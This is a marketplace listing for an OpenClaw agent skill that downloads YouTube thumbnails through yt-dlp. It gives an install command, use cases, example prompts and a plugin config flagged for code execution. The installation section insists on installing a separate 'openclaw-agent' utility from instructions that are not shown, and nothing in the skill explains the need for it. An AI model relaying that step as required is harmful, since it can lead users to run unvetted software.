youtube-thumbnail-grabber
Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.
Why use this skill?
Learn how to download YouTube video thumbnails in multiple resolutions using the OpenClaw YouTube Thumbnail Grabber skill. Automate your media collection today.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-rzncjWhat This Skill Does
The YouTube Thumbnail Grabber is a specialized OpenClaw agent skill designed to streamline the retrieval of high-quality preview images from YouTube videos. It leverages both yt-dlp for intelligent fetching and direct URL pattern matching for rapid, lightweight access. Whether you need a specific resolution or a comprehensive collection of every available thumbnail format, this skill provides a robust command-line interface to automate the process. It is an essential tool for content creators, researchers, and data scrapers who need to extract visual metadata from the world's largest video platform without downloading the underlying video streams.
Installation
Installation is managed via the ClawHub command-line interface. Simply execute clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-rzncj. Following the primary installation, ensure you have yt-dlp installed on your system via pip install yt-dlp. Crucially, users must install the openclaw-agent utility as specified in the documentation to enable local image processing and handling capabilities. Refer to the OS-specific instructions provided in the skill documentation to ensure your environment is correctly configured for thumbnail operations.
Use Cases
This skill is ideal for content creators looking to build a reference library of their own thumbnails, researchers building datasets of video visual trends, and social media managers creating promotional collages. It is also perfect for developers building applications that need to display video previews dynamically by extracting ID metadata from URLs and programmatically fetching the corresponding image assets.
Example Prompts
- "Grab the high-resolution thumbnail for this YouTube video: https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it to my current directory."
- "Download all available resolution thumbnails for the video with ID dQw4w9WgXcQ and save them with their resolution dimensions in the filename."
- "Extract the thumbnail URL and video title for the video at this URL and list them for my notes: https://www.youtube.com/watch?v=exampleID."
Tips & Limitations
Note that maximum resolution (maxresdefault) thumbnails are not guaranteed for every video; older videos may be limited to HQ or standard quality. Always verify the video ID if the fetch fails. For batch operations, using a text file containing a list of URLs is significantly more efficient than individual requests. Keep your yt-dlp version updated regularly to avoid failures caused by changes in YouTube's internal API structures. When dealing with playlists, ensure you have sufficient storage space before initiating large-scale batch downloads.
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-thumbnail-grabber-rzncj": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
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